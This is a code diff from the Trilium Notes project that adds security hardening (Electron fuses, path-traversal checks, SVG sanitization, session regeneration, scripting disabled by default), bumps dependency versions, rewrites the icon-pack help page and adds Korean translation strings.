<Button text={t("sync_2.help")} onClick={() => openInAppHelpFromUrl("cbkrhQjrkKrh")} />
|
||||
</div>
|
||||
</form>
|
||||
|
||||
@@ -1,4 +1,6 @@
|
||||
import { FusesPlugin } from "@electron-forge/plugin-fuses";
|
||||
import type { ForgeConfig } from "@electron-forge/shared-types";
|
||||
import { FuseV1Options, FuseVersion } from "@electron/fuses";
|
||||
import { LOCALES } from "@triliumnext/commons";
|
||||
import { existsSync } from "fs";
|
||||
import fs from "fs-extra";
|
||||
@@ -166,7 +168,24 @@ const config: ForgeConfig = {
|
||||
{
|
||||
name: "@electron-forge/plugin-auto-unpack-natives",
|
||||
config: {}
|
||||
}
|
||||
},
|
||||
new FusesPlugin({
|
||||
version: FuseVersion.V1,
|
||||
// Security: Disable RunAsNode to prevent local attackers from launching
|
||||
// the Electron app in Node.js mode via ELECTRON_RUN_AS_NODE env variable.
|
||||
// This prevents TCC bypass / prompt spoofing attacks on macOS and
|
||||
// "living off the land" privilege escalation on all platforms.
|
||||
[FuseV1Options.RunAsNode]: false,
|
||||
// Security: Disable NODE_OPTIONS and NODE_EXTRA_CA_CERTS environment
|
||||
// variables to prevent injection of arbitrary Node.js runtime options.
|
||||
[FuseV1Options.EnableNodeOptionsEnvironmentVariable]: false,
|
||||
// Security: Disable --inspect and --inspect-brk CLI arguments to prevent
|
||||
// debugger protocol exposure that could enable remote code execution.
|
||||
[FuseV1Options.EnableNodeCliInspectArguments]: false,
|
||||
// Security: Only allow loading the app from the ASAR archive to prevent
|
||||
// loading of unverified code from alternative file paths.
|
||||
[FuseV1Options.OnlyLoadAppFromAsar]: true,
|
||||
}),
|
||||
],
|
||||
hooks: {
|
||||
// Remove unused locales from the packaged app to save some space.
|
||||
|
||||
@@ -27,15 +27,10 @@
|
||||
"electron-debug": "4.1.0",
|
||||
"electron-dl": "4.0.0",
|
||||
"electron-squirrel-startup": "1.0.1",
|
||||
"jquery.fancytree": "2.38.5",
|
||||
"jquery-hotkeys": "0.2.2"
|
||||
"jquery-hotkeys": "0.2.2",
|
||||
"jquery.fancytree": "2.38.5"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@types/electron-squirrel-startup": "1.0.2",
|
||||
"@triliumnext/commons": "workspace:*",
|
||||
"@triliumnext/server": "workspace:*",
|
||||
"copy-webpack-plugin": "13.0.1",
|
||||
"electron": "40.4.1",
|
||||
"@electron-forge/cli": "7.11.1",
|
||||
"@electron-forge/maker-deb": "7.11.1",
|
||||
"@electron-forge/maker-dmg": "7.11.1",
|
||||
@@ -44,6 +39,13 @@
|
||||
"@electron-forge/maker-squirrel": "7.11.1",
|
||||
"@electron-forge/maker-zip": "7.11.1",
|
||||
"@electron-forge/plugin-auto-unpack-natives": "7.11.1",
|
||||
"@electron-forge/plugin-fuses": "7.11.1",
|
||||
"@electron/fuses": "1.8.0",
|
||||
"@triliumnext/commons": "workspace:*",
|
||||
"@triliumnext/server": "workspace:*",
|
||||
"@types/electron-squirrel-startup": "1.0.2",
|
||||
"copy-webpack-plugin": "13.0.1",
|
||||
"electron": "40.4.1",
|
||||
"prebuild-install": "7.1.3"
|
||||
}
|
||||
}
|
||||
@@ -35,7 +35,7 @@
|
||||
"sucrase": "3.35.1"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@anthropic-ai/sdk": "0.74.0",
|
||||
"@anthropic-ai/sdk": "0.77.0",
|
||||
"@braintree/sanitize-url": "7.1.2",
|
||||
"@electron/remote": "2.1.3",
|
||||
"@triliumnext/commons": "workspace:*",
|
||||
@@ -99,7 +99,7 @@
|
||||
"html2plaintext": "2.1.4",
|
||||
"http-proxy-agent": "7.0.2",
|
||||
"https-proxy-agent": "7.0.6",
|
||||
"i18next": "25.8.7",
|
||||
"i18next": "25.8.11",
|
||||
"i18next-fs-backend": "2.6.1",
|
||||
"image-type": "6.0.0",
|
||||
"ini": "6.0.0",
|
||||
@@ -107,7 +107,7 @@
|
||||
"is-svg": "6.1.0",
|
||||
"jimp": "1.6.0",
|
||||
"lorem-ipsum": "2.0.8",
|
||||
"marked": "17.0.2",
|
||||
"marked": "17.0.3",
|
||||
"mime-types": "3.0.2",
|
||||
"multer": "2.0.2",
|
||||
"normalize-strings": "1.1.1",
|
||||
@@ -116,7 +116,7 @@
|
||||
"rand-token": "1.0.1",
|
||||
"safe-compare": "1.1.4",
|
||||
"sanitize-filename": "1.6.3",
|
||||
"sanitize-html": "2.17.0",
|
||||
"sanitize-html": "2.17.1",
|
||||
"sax": "1.4.4",
|
||||
"serve-favicon": "2.5.1",
|
||||
"stream-throttle": "0.1.3",
|
||||
|
||||
@@ -67,3 +67,13 @@ oauthIssuerName=
|
||||
# Set the issuer icon for OAuth/OpenID authentication
|
||||
# This is the icon of the service that will be used to verify the user's identity
|
||||
oauthIssuerIcon=
|
||||
|
||||
[Scripting]
|
||||
# Enable backend/frontend script execution. WARNING: Scripts have full server access including
|
||||
# filesystem, network, and OS commands via require('child_process'). Only enable if you trust
|
||||
# all users with admin-level access to the server.
|
||||
# Desktop builds override this to true automatically.
|
||||
enabled=false
|
||||
|
||||
# Enable the SQL console (allows raw SQL execution against the database)
|
||||
sqlConsoleEnabled=false
|
||||
|
||||
@@ -1,100 +1,120 @@
|
||||
<aside class="admonition note">
|
||||
<p>This page describes how to create custom icon packs. For a general description
|
||||
of how to use already existing icon packs, see <a class="reference-link"
|
||||
href="#root/_help_gOKqSJgXLcIj">Icon Packs</a>.</p>
|
||||
<p>This page explains, step‑by‑step, how to create a custom icon
|
||||
pack. For a general description of how to use already existing icon packs,
|
||||
see <a class="reference-link" href="#root/_help_gOKqSJgXLcIj">Icon Packs</a>.</p>
|
||||
</aside>
|
||||
<h2>Supported formats</h2>
|
||||
<p>First read the quick flow to get the overall steps. After that there is
|
||||
a concrete example (Phosphor) with a small Node.js script you can run to
|
||||
generate the manifest.</p>
|
||||
<h2>Quick flow (what you need to do)</h2>
|
||||
<ol>
|
||||
<li>Verify the icon set is a font (one of: .woff2, .woff, .ttf).</li>
|
||||
<li>Obtain a list that maps icon names to Unicode code points (often provided
|
||||
as a JSON like <code spellcheck="false">selection.json</code> or a CSS file).</li>
|
||||
<li
|
||||
>Create a manifest JSON that maps icon ids to glyphs and search terms.</li>
|
||||
<li
|
||||
>Create a Trilium note of type Code, set language to JSON, paste the manifest
|
||||
as the note content.</li>
|
||||
<li>Upload the font file as an attachment to the same note (MIME type must
|
||||
be <code spellcheck="false">font/woff2</code>, <code spellcheck="false">font/woff</code>,
|
||||
or <code spellcheck="false">font/ttf</code> and role <code spellcheck="false">file</code>).</li>
|
||||
<li
|
||||
>Add the label <code spellcheck="false">#iconPack=<prefix></code> to
|
||||
the note (prefix: alphanumeric, hyphen, underscore only).</li>
|
||||
<li>Refresh the client and verify the icon pack appears in the icon selector.</li>
|
||||
</ol>
|
||||
<h2>Verify the icon set</h2>
|
||||
<p>The first step is to analyze if the icon set being packed can be integrated
|
||||
into Trilium.</p>
|
||||
<p>Trilium only supports <strong>font-based icon sets</strong>, with the following
|
||||
formats:</p>
|
||||
<table>
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Extension</th>
|
||||
<th>MIME type</th>
|
||||
<th>Description</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<td><code spellcheck="false">.woff2</code>
|
||||
</td>
|
||||
<td><code spellcheck="false">font/woff2</code>
|
||||
</td>
|
||||
<td>Recommended due to great compression (low size).</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><code spellcheck="false">.woff</code>
|
||||
</td>
|
||||
<td><code spellcheck="false">font/woff</code>
|
||||
</td>
|
||||
<td>Higher compatibility, but the font file is bigger.</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><code spellcheck="false">.ttf</code>
|
||||
</td>
|
||||
<td><code spellcheck="false">font/ttf</code>
|
||||
</td>
|
||||
<td>Most common, but highest font size.</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<h2>Unsupported formats</h2>
|
||||
<figure class="table">
|
||||
<table>
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Extension</th>
|
||||
<th>MIME type</th>
|
||||
<th>Description</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<td><code spellcheck="false">.woff2</code>
|
||||
</td>
|
||||
<td><code spellcheck="false">font/woff2</code>
|
||||
</td>
|
||||
<td>Recommended due to great compression (low size).</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><code spellcheck="false">.woff</code>
|
||||
</td>
|
||||
<td><code spellcheck="false">font/woff</code>
|
||||
</td>
|
||||
<td>Higher compatibility, but the font file is bigger.</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><code spellcheck="false">.ttf</code>
|
||||
</td>
|
||||
<td><code spellcheck="false">font/ttf</code>
|
||||
</td>
|
||||
<td>Most common, but highest font size.</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</figure>
|
||||
<p>Trilium <strong>does not</strong> support the following formats:</p>
|
||||
<ul>
|
||||
<li>SVG-based fonts.</li>
|
||||
<li>Individual SVGs.</li>
|
||||
<li><code spellcheck="false">.eot</code> fonts (legacy and proprietary).</li>
|
||||
<li>Duotone icons, since it requires a special CSS format that Trilium doesn't
|
||||
<li
|
||||
>Duotone icons, since it requires a special CSS format that Trilium doesn't
|
||||
support.</li>
|
||||
<li>Any other font format not specified in the <em>Supported formats</em> section.</li>
|
||||
<li>Any other font format not specified in the <em>Supported formats</em> section.</li>
|
||||
</ul>
|
||||
<p>In this case, the font must be manually converted to one of the supported
|
||||
formats (ideally <code spellcheck="false">.woff2</code>).</p>
|
||||
<h2>Prerequisites</h2>
|
||||
<p>In order to create a new icon pack from a set of icons, it must meet the
|
||||
following criteria:</p>
|
||||
<ol>
|
||||
<li>It must have a web font of the supported format (see above).</li>
|
||||
<li>It must have some kind of list, containing the name of each icon and the
|
||||
corresponding Unicode code point. If this is missing, icon fonts usually
|
||||
ship with a <code spellcheck="false">.css</code> file that can be used to
|
||||
extract the icon names from.</li>
|
||||
</ol>
|
||||
<h2>Step-by-step process</h2>
|
||||
<p>As an example throughout this page, we are going to go through the steps
|
||||
of integrating <a href="https://phosphoricons.com/">Phosphor Icons</a>.</p>
|
||||
<h3>Creating the manifest</h3>
|
||||
<p>This is the most difficult part of creating an icon pack, since it requires
|
||||
processing of the icon list to match Trilium's format.</p>
|
||||
<p>The icon pack manifest is a JSON file with the following structure:</p><pre><code class="language-application-ld-json">{
|
||||
"icons": {
|
||||
"bx-ball": {
|
||||
"glyph": "\ue9c2",
|
||||
"terms": [ "ball" ]
|
||||
},
|
||||
"bxs-party": {
|
||||
"glyph": "\uec92",
|
||||
"terms": [ "party" ]
|
||||
}
|
||||
}
|
||||
}</code></pre>
|
||||
<h2>Manifest format</h2>
|
||||
<p>The manifest is a JSON object with an <code spellcheck="false">icons</code> map.
|
||||
Each entry key is the CSS/class id you will use (Trilium uses the CSS class
|
||||
when rendering). Value object:</p>
|
||||
<ul>
|
||||
<li>The JSON example is a sample from the Boxicons font.</li>
|
||||
<li>This is simply a mapping between the CSS classes (<code spellcheck="false">bx-ball</code>),
|
||||
to its corresponding code point in the font (<code spellcheck="false">\ue9c2</code>)
|
||||
and the terms/aliases used for search purposes.</li>
|
||||
<li>Note that it's also possible to use the unescaped glyph inside the JSON.
|
||||
It will appear strange (e.g. ), but it will be rendered properly regardless.</li>
|
||||
<li>The first term is also considered the “name” of the icon, which is displayed
|
||||
while hovering over it in the icon selector.</li>
|
||||
<li>glyph: the single character (the glyph) — can be the escaped Unicode (e.g.
|
||||
"\ue9c2") or the literal character.</li>
|
||||
<li>terms: array of search aliases; the first term is used as display name
|
||||
in the selector.</li>
|
||||
</ul>
|
||||
<p>In order to generate this manifest, generally a script is needed that
|
||||
processes an already existing list. In the case of Phosphor Icons, the
|
||||
icon list comes in a file called <code spellcheck="false">selection.json</code> with
|
||||
the following format:</p><pre><code class="language-application-ld-json">{
|
||||
<p>Example minimal manifest:</p><pre><code class="language-text-x-trilium-auto">{
|
||||
"icons": {
|
||||
"ph-acorn": {
|
||||
"glyph": "\uea3f",
|
||||
"terms": ["acorn", "nut"]
|
||||
},
|
||||
"ph-book": {
|
||||
"glyph": "\uea40",
|
||||
"terms": ["book", "read"]
|
||||
}
|
||||
}
|
||||
}</code></pre>
|
||||
<aside class="admonition note">
|
||||
<ul>
|
||||
<li>You can supply glyph as the escaped <code spellcheck="false">\uXXXX</code> sequence
|
||||
or as the actual UTF‑8 character.</li>
|
||||
<li>It is also possible to use the unescaped glyph inside the JSON. It will
|
||||
appear strange (e.g. ), but it will be rendered properly regardless.</li>
|
||||
<li
|
||||
>The manifest keys (e.g. <code spellcheck="false">ph-acorn</code>) should
|
||||
match the class names used by the font (prefix + name is a common pattern).</li>
|
||||
</ul>
|
||||
</aside>
|
||||
<h2>Concrete example: Phosphor Icons</h2>
|
||||
<p><a href="https://phosphoricons.com/">Phosphor Icons</a> provide a
|
||||
<code
|
||||
spellcheck="false">selection.json</code>that includes <code spellcheck="false">properties.code</code> (the
|
||||
codepoint) and <code spellcheck="false">properties.name</code> (the icon
|
||||
name). The goal: convert that into Trilium's manifest.</p>
|
||||
<p>Sample <code spellcheck="false">selection.json</code> excerpt:</p><pre><code class="language-text-x-trilium-auto">{
|
||||
"icons": [
|
||||
{
|
||||
"icon": {
|
||||
@@ -121,9 +141,9 @@
|
||||
/* [...] */
|
||||
]
|
||||
}</code></pre>
|
||||
<p>As such, we can write a Node.js script to automatically process the manifest
|
||||
file:</p><pre><code class="language-application-javascript-env-backend">import { join } from "node:path";
|
||||
import { readFileSync } from "node:fs";
|
||||
<p>A tiny Node.js script to produce the manifest (place <code spellcheck="false">selection.json</code> in
|
||||
the same directory and run with Node 20+):</p><pre><code class="language-application-javascript-env-backend">import { join } from "node:path";
|
||||
import { readFileSync, writeFileSync } from "node:fs";
|
||||
|
||||
function processIconPack(packName) {
|
||||
const path = join(packName);
|
||||
@@ -143,12 +163,19 @@ function processIconPack(packName) {
|
||||
};
|
||||
}
|
||||
|
||||
return JSON.stringify({
|
||||
icons
|
||||
}, null, 2);
|
||||
writeFileSync("manifest.json", JSON.stringify(icons, null, 2), "utf8");
|
||||
console.log("manifest.json created");
|
||||
}
|
||||
|
||||
console.log(processIconPack("light"));</code></pre>
|
||||
processIconPack("light");</code></pre>
|
||||
<p>What to do with the script:</p>
|
||||
<ul>
|
||||
<li>Put <code spellcheck="false">selection.json</code> and <code spellcheck="false">build-manifest.js</code> in
|
||||
a folder.</li>
|
||||
<li>Run: node build-manifest.js</li>
|
||||
<li>The script writes <code spellcheck="false">manifest.json</code> — open it,
|
||||
verify contents, then copy into a Trilium Code note (language: JSON).</li>
|
||||
</ul>
|
||||
<aside class="admonition tip">
|
||||
<p><strong>Mind the escape format when processing CSS</strong>
|
||||
</p>
|
||||
@@ -158,32 +185,6 @@ console.log(processIconPack("light"));</code></pre>
|
||||
<p>As a more compact alternative, provide the un-escaped character directly,
|
||||
as UTF-8 is supported.</p>
|
||||
</aside>
|
||||
<h3>Creating the icon pack</h3>
|
||||
<ol>
|
||||
<li>Create a note of type <em>Code</em>.</li>
|
||||
<li>Set the language to <em>JSON</em>.</li>
|
||||
<li>Copy and paste the manifest generated in the previous step as the content
|
||||
of this note.</li>
|
||||
<li>Go to the <a href="#root/_help_0vhv7lsOLy82">note attachment</a> and upload the
|
||||
font file (in <code spellcheck="false">.woff2</code>, <code spellcheck="false">.woff</code>,
|
||||
<code
|
||||
spellcheck="false">.ttf</code>) format.
|
||||
<ol>
|
||||
<li>Trilium identifies the font to use from attachments via the MIME type,
|
||||
make sure the MIME type is displayed correctly after uploading the attachment
|
||||
(for example <code spellcheck="false">font/woff2</code>).</li>
|
||||
<li>Make sure the <code spellcheck="false">role</code> appears as <code spellcheck="false">file</code>,
|
||||
otherwise the font will not be identified.</li>
|
||||
<li>Multiple attachments are supported, but only one font will actually be
|
||||
used in Trilium's order of preference: <code spellcheck="false">.woff2</code>,
|
||||
<code
|
||||
spellcheck="false">.woff</code>, <code spellcheck="false">.ttf</code>. As such, there's not
|
||||
much reason to upload more than one font per icon pack.</li>
|
||||
</ol>
|
||||
</li>
|
||||
<li>Go back to the note and rename it. The name of the note will also be the
|
||||
name of the icon pack as displayed in the list of icons.</li>
|
||||
</ol>
|
||||
<h3>Assigning the prefix</h3>
|
||||
<p>Before an icon pack can be used, it needs to have a prefix defined. This
|
||||
prefix uniquely identifies the icon pack so that it can be used throughout
|
||||
@@ -203,6 +204,34 @@ console.log(processIconPack("light"));</code></pre>
|
||||
If the prefix doesn't match these constraints, the icon pack will be ignored
|
||||
and an error will be logged in <a class="reference-link" href="#root/_help_bnyigUA2UK7s">Backend (server) logs</a>.</p>
|
||||
</aside>
|
||||
<h2>Creating the Trilium icon pack note</h2>
|
||||
<ol>
|
||||
<li>Create a note of type <em>Code</em>.</li>
|
||||
<li>Set the language to <em>JSON</em>.</li>
|
||||
<li>Rename the note. The name of the note will also be the name of the icon
|
||||
pack as displayed in the list of icons.</li>
|
||||
<li>Copy and paste the manifest generated in the previous step as the content
|
||||
of this note.</li>
|
||||
<li>Go to the <a href="#root/_help_0vhv7lsOLy82">note attachment</a> and upload the
|
||||
font file (in <code spellcheck="false">.woff2</code>, <code spellcheck="false">.woff</code>,
|
||||
<code
|
||||
spellcheck="false">.ttf</code>) format.
|
||||
<ol>
|
||||
<li>Trilium identifies the font to use from attachments via the MIME type,
|
||||
make sure the MIME type is displayed correctly after uploading the attachment
|
||||
(for example <code spellcheck="false">font/woff2</code>).</li>
|
||||
<li>Make sure the <code spellcheck="false">role</code> appears as <code spellcheck="false">file</code>,
|
||||
otherwise the font will not be identified.</li>
|
||||
<li>Multiple attachments are supported, but only one font will actually be
|
||||
used in Trilium's order of preference: <code spellcheck="false">.woff2</code>,
|
||||
<code
|
||||
spellcheck="false">.woff</code>, <code spellcheck="false">.ttf</code>. As such, there's not
|
||||
much reason to upload more than one font per icon pack.</li>
|
||||
</ol>
|
||||
</li>
|
||||
<li>Add label: <code spellcheck="false">#iconPack=<prefix></code> (for
|
||||
Phosphor example: <code spellcheck="false">#iconPack=ph</code>).</li>
|
||||
</ol>
|
||||
<h3>Final steps</h3>
|
||||
<ul>
|
||||
<li><a href="#root/_help_s8alTXmpFR61">Refresh the client</a>
|
||||
@@ -217,7 +246,8 @@ console.log(processIconPack("light"));</code></pre>
|
||||
</li>
|
||||
<li>Optionally, assign an icon from the new icon pack to this note. This icon
|
||||
will be used in the icon pack filter for a visual distinction.</li>
|
||||
<li>The icon pack can then be <a href="#root/_help_mHbBMPDPkVV5">exported as ZIP</a> in
|
||||
<li
|
||||
>The icon pack can then be <a href="#root/_help_mHbBMPDPkVV5">exported as ZIP</a> in
|
||||
order to be distributed to other users.
|
||||
<ul>
|
||||
<li>It's important to note that icon packs are considered “unsafe” by default,
|
||||
@@ -225,16 +255,17 @@ console.log(processIconPack("light"));</code></pre>
|
||||
<li>Consider linking new users to the <a class="reference-link" href="#root/_help_gOKqSJgXLcIj">Icon Packs</a> documentation
|
||||
in order to understand how to import and use an icon pack.</li>
|
||||
</ul>
|
||||
</li>
|
||||
</li>
|
||||
</ul>
|
||||
<h3>Troubleshooting</h3>
|
||||
<p>If the icon pack doesn't show up, look through the <a class="reference-link"
|
||||
href="#root/_help_bnyigUA2UK7s">Backend (server) logs</a> for clues.</p>
|
||||
<ul>
|
||||
<li>One example is if the font could not be retrieved: <code spellcheck="false">ERROR: Icon pack is missing WOFF/WOFF2/TTF attachment: Boxicons v3 400 (dup) (XRzqDQ67fHEK)</code>.</li>
|
||||
<li>Make sure the prefix is unique and not already taken by some other icon
|
||||
<li
|
||||
>Make sure the prefix is unique and not already taken by some other icon
|
||||
pack. When there are two icon packs with the same prefix, only one is used.
|
||||
The server logs will indicate if this situation occurs.</li>
|
||||
<li>Make sure the prefix consists only of alphanumeric characters, hyphens
|
||||
and underscore.</li>
|
||||
<li>Make sure the prefix consists only of alphanumeric characters, hyphens
|
||||
and underscore.</li>
|
||||
</ul>
|
||||
@@ -60,7 +60,28 @@
|
||||
"show-help": "내장 사용자 설명서 열기",
|
||||
"show-cheatsheet": "일반적인 키보드 형식의 팝업 표시",
|
||||
"text-note-operations": "텍스트 노트 작업",
|
||||
"add-link-to-text": "텍스트에 링크 추가를 위한 대화 상자 열기"
|
||||
"add-link-to-text": "텍스트에 링크 추가를 위한 대화 상자 열기",
|
||||
"follow-link-under-cursor": "커서가 있는 링크 대상으로 이동",
|
||||
"insert-date-and-time-to-text": "현재 날짜와 시간을 텍스트로 삽입",
|
||||
"attributes-labels-and-relations": "속성 (라벨 & 관계)",
|
||||
"add-new-label": "새 라벨 작성",
|
||||
"create-new-relation": "새 관계 생성",
|
||||
"ribbon-tabs": "리본 탭",
|
||||
"toggle-basic-properties": "기본 속성 토글",
|
||||
"toggle-file-properties": "파일 속성 토글",
|
||||
"toggle-image-properties": "이미지 속성 토글",
|
||||
"toggle-owned-attributes": "소유 속성 토글",
|
||||
"toggle-inherited-attributes": "상속 속성 토글",
|
||||
"toggle-promoted-attributes": "주요 속성 토글",
|
||||
"render-active-note": "활성 노트를 렌더링(다시 렌더링)",
|
||||
"run-active-note": "활성 JavaScript(프런트엔드/백엔드) 코드 노트 실행",
|
||||
"toggle-note-hoisting": "활성 노트를 최상단으로 올리기 토글",
|
||||
"unhoist": "최상단으로 올린 노트 해제",
|
||||
"reload-frontend-app": "프론트엔드 리로드",
|
||||
"open-dev-tools": "개발자 도구 열기",
|
||||
"find-in-text": "검색 패널 토글",
|
||||
"toggle-left-note-tree-panel": "좌측(노트 트리) 패널 토글",
|
||||
"toggle-full-screen": "전체 화면 토글"
|
||||
},
|
||||
"hidden-subtree": {
|
||||
"zen-mode": "젠 모드",
|
||||
|
||||
@@ -172,7 +172,8 @@ function setExpandedForSubtree(req: Request) {
|
||||
// root is always expanded
|
||||
branchIds = branchIds.filter((branchId) => branchId !== "none_root");
|
||||
|
||||
sql.executeMany(/*sql*/`UPDATE branches SET isExpanded = ${expanded} WHERE branchId IN (???)`, branchIds);
|
||||
const expandedValue = expanded ? 1 : 0;
|
||||
sql.executeMany(/*sql*/`UPDATE branches SET isExpanded = ${expandedValue} WHERE branchId IN (???)`, branchIds);
|
||||
|
||||
for (const branchId of branchIds) {
|
||||
const branch = becca.branches[branchId];
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
import chokidar from "chokidar";
|
||||
import type { Request, Response } from "express";
|
||||
import fs from "fs";
|
||||
import path from "path";
|
||||
import { Readable } from "stream";
|
||||
import tmp from "tmp";
|
||||
|
||||
@@ -205,13 +206,36 @@ function saveToTmpDir(fileName: string, content: string | Buffer, entityType: st
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Validates that the given file path is a known temporary file created by this server
|
||||
* and resides within the expected temporary directory. This prevents path traversal
|
||||
* attacks (CWE-22) where an attacker could read arbitrary files from the filesystem.
|
||||
*/
|
||||
function validateTemporaryFilePath(filePath: string): void {
|
||||
if (!filePath || typeof filePath !== "string") {
|
||||
throw new ValidationError("Missing or invalid file path.");
|
||||
}
|
||||
|
||||
// Check 1: The file must be in our set of known temporary files created by saveToTmpDir().
|
||||
if (!createdTemporaryFiles.has(filePath)) {
|
||||
throw new ValidationError(`File '${filePath}' is not a tracked temporary file.`);
|
||||
}
|
||||
|
||||
// Check 2 (defense-in-depth): Resolve to an absolute path and verify it is within TMP_DIR.
|
||||
// This guards against any future bugs where a non-temp path could end up in the set.
|
||||
const resolvedPath = path.resolve(filePath);
|
||||
const resolvedTmpDir = path.resolve(dataDirs.TMP_DIR);
|
||||
|
||||
if (!resolvedPath.startsWith(resolvedTmpDir + path.sep) && resolvedPath !== resolvedTmpDir) {
|
||||
throw new ValidationError(`File path '${filePath}' is outside the temporary directory.`);
|
||||
}
|
||||
}
|
||||
|
||||
function uploadModifiedFileToNote(req: Request) {
|
||||
const noteId = req.params.noteId;
|
||||
const { filePath } = req.body;
|
||||
|
||||
if (!createdTemporaryFiles.has(filePath)) {
|
||||
throw new ValidationError(`File '${filePath}' is not a temporary file.`);
|
||||
}
|
||||
validateTemporaryFilePath(filePath);
|
||||
|
||||
const note = becca.getNoteOrThrow(noteId);
|
||||
|
||||
@@ -232,6 +256,8 @@ function uploadModifiedFileToAttachment(req: Request) {
|
||||
const { attachmentId } = req.params;
|
||||
const { filePath } = req.body;
|
||||
|
||||
validateTemporaryFilePath(filePath);
|
||||
|
||||
const attachment = becca.getAttachmentOrThrow(attachmentId);
|
||||
|
||||
log.info(`Updating attachment '${attachmentId}' with content from '${filePath}'`);
|
||||
|
||||
@@ -10,6 +10,21 @@ describe("Image API", () => {
|
||||
expect(response.headers["Content-Type"]).toBe("image/svg+xml");
|
||||
expect(response.body).toBe(`<svg xmlns="http://www.w3.org/2000/svg"></svg>`);
|
||||
});
|
||||
|
||||
it("sets Content-Security-Policy header on SVG responses", () => {
|
||||
const parentNote = note("note").note;
|
||||
const response = new MockResponse();
|
||||
renderSvgAttachment(parentNote, response as any, "attachment");
|
||||
expect(response.headers["Content-Security-Policy"]).toBeDefined();
|
||||
expect(response.headers["Content-Security-Policy"]).toContain("default-src 'none'");
|
||||
});
|
||||
|
||||
it("sets X-Content-Type-Options header on SVG responses", () => {
|
||||
const parentNote = note("note").note;
|
||||
const response = new MockResponse();
|
||||
renderSvgAttachment(parentNote, response as any, "attachment");
|
||||
expect(response.headers["X-Content-Type-Options"]).toBe("nosniff");
|
||||
});
|
||||
});
|
||||
|
||||
class MockResponse {
|
||||
|
||||
@@ -7,6 +7,7 @@ import type { Request, Response } from "express";
|
||||
import type BNote from "../../becca/entities/bnote.js";
|
||||
import type BRevision from "../../becca/entities/brevision.js";
|
||||
import { RESOURCE_DIR } from "../../services/resource_dir.js";
|
||||
import { sanitizeSvg, setSvgHeaders } from "../../services/svg_sanitizer.js";
|
||||
|
||||
function returnImageFromNote(req: Request, res: Response) {
|
||||
const image = becca.getNote(req.params.noteId);
|
||||
@@ -34,6 +35,12 @@ function returnImageInt(image: BNote | BRevision | null, res: Response) {
|
||||
renderSvgAttachment(image, res, "mermaid-export.svg");
|
||||
} else if (image.type === "mindMap") {
|
||||
renderSvgAttachment(image, res, "mindmap-export.svg");
|
||||
} else if (image.mime === "image/svg+xml") {
|
||||
// SVG images require sanitization to prevent stored XSS
|
||||
const content = image.getContent();
|
||||
const sanitized = sanitizeSvg(typeof content === "string" ? content : content?.toString("utf-8") ?? "");
|
||||
setSvgHeaders(res);
|
||||
res.send(sanitized);
|
||||
} else {
|
||||
res.set("Content-Type", image.mime);
|
||||
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
|
||||
@@ -56,9 +63,9 @@ export function renderSvgAttachment(image: BNote | BRevision, res: Response, att
|
||||
}
|
||||
}
|
||||
|
||||
res.set("Content-Type", "image/svg+xml");
|
||||
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
|
||||
res.send(svg);
|
||||
const sanitized = sanitizeSvg(svg);
|
||||
setSvgHeaders(res);
|
||||
res.send(sanitized);
|
||||
}
|
||||
|
||||
function returnAttachedImage(req: Request, res: Response) {
|
||||
@@ -73,9 +80,17 @@ function returnAttachedImage(req: Request, res: Response) {
|
||||
return res.setHeader("Content-Type", "text/plain").status(400).send(`Attachment '${attachment.attachmentId}' has role '${attachment.role}', but 'image' was expected.`);
|
||||
}
|
||||
|
||||
res.set("Content-Type", attachment.mime);
|
||||
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
|
||||
res.send(attachment.getContent());
|
||||
if (attachment.mime === "image/svg+xml") {
|
||||
// SVG attachments require sanitization to prevent stored XSS
|
||||
const content = attachment.getContent();
|
||||
const sanitized = sanitizeSvg(typeof content === "string" ? content : content?.toString("utf-8") ?? "");
|
||||
setSvgHeaders(res);
|
||||
res.send(sanitized);
|
||||
} else {
|
||||
res.set("Content-Type", attachment.mime);
|
||||
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
|
||||
res.send(attachment.getContent());
|
||||
}
|
||||
}
|
||||
|
||||
function updateImage(req: Request) {
|
||||
|
||||
@@ -78,7 +78,7 @@ import recoveryCodeService from "../../services/encryption/recovery_codes";
|
||||
* type: string
|
||||
* example: "Auth request time is out of sync, please check that both client and server have correct time. The difference between clocks has to be smaller than 5 minutes"
|
||||
*/
|
||||
function loginSync(req: Request) {
|
||||
async function loginSync(req: Request) {
|
||||
if (!sqlInit.schemaExists()) {
|
||||
return [500, { message: "DB schema does not exist, can't sync." }];
|
||||
}
|
||||
@@ -112,6 +112,17 @@ function loginSync(req: Request) {
|
||||
return [400, { message: "Sync login credentials are incorrect. It looks like you're trying to sync two different initialized documents which is not possible." }];
|
||||
}
|
||||
|
||||
// Regenerate session to prevent session fixation attacks.
|
||||
await new Promise<void>((resolve, reject) => {
|
||||
req.session.regenerate((err) => {
|
||||
if (err) {
|
||||
reject(err);
|
||||
} else {
|
||||
resolve();
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
req.session.loggedIn = true;
|
||||
|
||||
return {
|
||||
|
||||
@@ -109,10 +109,8 @@ const ALLOWED_OPTIONS = new Set<OptionNames>([
|
||||
"aiTemperature",
|
||||
"aiSystemPrompt",
|
||||
"aiSelectedProvider",
|
||||
"openaiApiKey",
|
||||
"openaiBaseUrl",
|
||||
"openaiDefaultModel",
|
||||
"anthropicApiKey",
|
||||
"anthropicBaseUrl",
|
||||
"anthropicDefaultModel",
|
||||
"ollamaBaseUrl",
|
||||
@@ -121,17 +119,31 @@ const ALLOWED_OPTIONS = new Set<OptionNames>([
|
||||
"mfaMethod"
|
||||
]);
|
||||
